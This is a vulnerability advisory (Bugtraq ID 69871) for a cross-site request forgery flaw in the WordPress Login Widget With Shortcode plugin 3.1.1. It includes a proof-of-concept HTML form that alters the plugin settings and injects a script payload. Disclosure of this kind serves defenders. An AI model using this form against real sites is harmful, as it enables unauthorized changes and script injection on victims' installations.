WordPress Login Widget With Shortcode 'options-general.php' Cross Site Request Forgery Vulnerability

BID:69871

Info

WordPress Login Widget With Shortcode 'options-general.php' Cross Site Request Forgery Vulnerability

Bugtraq ID: 69871
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 17 2014 12:00AM
Updated: Sep 17 2014 12:00AM
Credit: Tom Adams
Vulnerable:
Not Vulnerable:

Discussion

WordPress Login Widget With Shortcode 'options-general.php' Cross Site Request Forgery Vulnerability

The Login Widget With Shortcode plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit this issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Login Widget With Shortcode 3.1.1 is vulnerable; other versions may also be affected.

Exploit / POC

WordPress Login Widget With Shortcode 'options-general.php' Cross Site Request Forgery Vulnerability

To exploit this issue an attacker must entice an unsuspecting victim to open a malicious URI.

The following example data is available:

<form method="POST" action="http://www.example.com/wp-admin/options-general.php?page=login_widget_afo">
<input type="text" name="custom_style_afo" value="</textarea><script>alert(1)</script>">
<input type="text" name="option" value="login_widget_afo_save_settings">
<input type="submit">
</form>

Solution / Fix

WordPress Login Widget With Shortcode 'options-general.php' Cross Site Request Forgery Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

WordPress Login Widget With Shortcode 'options-general.php' Cross Site Request Forgery Vulnerability

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